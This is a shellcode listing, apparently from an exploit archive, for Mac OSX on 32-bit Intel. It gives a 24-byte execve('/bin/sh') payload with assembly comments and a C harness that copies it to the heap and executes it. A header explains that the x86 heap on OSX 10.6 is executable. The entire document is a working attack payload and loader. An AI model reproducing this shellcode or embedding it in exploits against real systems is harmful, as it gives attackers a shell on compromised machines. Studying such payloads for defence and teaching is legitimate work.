/* Title : OSX/x86 intel - execve(/bin/sh) - 24 bytes Type : Shellcode Author : Simon Derouineau - simon.derouineau [AT] ingesup.com Platform : Mac OSX/Intel. Tested on 10.6.4 Build 10F569 Informations : This code has to be compiled with gcc -m32 switch on 10.6.0+ More informations : x86-64 code is more secured than x86 code on OSX platform : Canaries are added, Stack and heap are non-executable, etc. Also, cat /var/db/dyld/dyld_shared_cache_x86_64.map shows that no memory can be mapped with WX flags, while it's possible with x86 code ( according to /var/db/dyld/dyld_shared_cache_i386.map). The method used here is the easier one, heap is executable in x86 applications, as described in "The Mac Hacker's Handbook", written by Charlie Miller. The trick is to memcopy the shellcode to the heap before executing it. */ #include <stdio.h> #include <stdlib.h> #include <string.h> char shellcode[]= "\x31\xC0" // xor eax,eax "\x50" // push eax "\x68\x2F\x2F\x73\x68" // push dword "\x68\x2F\x62\x69\x6E" // push dword "\x89\xE3" // mov ebx,esp "\x50\x50\x53" // push eax, push eax, push ebx "\xB0\x3B" // mov al,0x3b "\x6A\x2A" // push byte 0x2a "\xCD\x80" // int 0x80 int main(int argc, char *argv[]){ void (*f)(); char *x = malloc(sizeof(shellcode)); memcpy(x, shellcode, sizeof(shellcode)); f = (void (*)()) x; f(); }
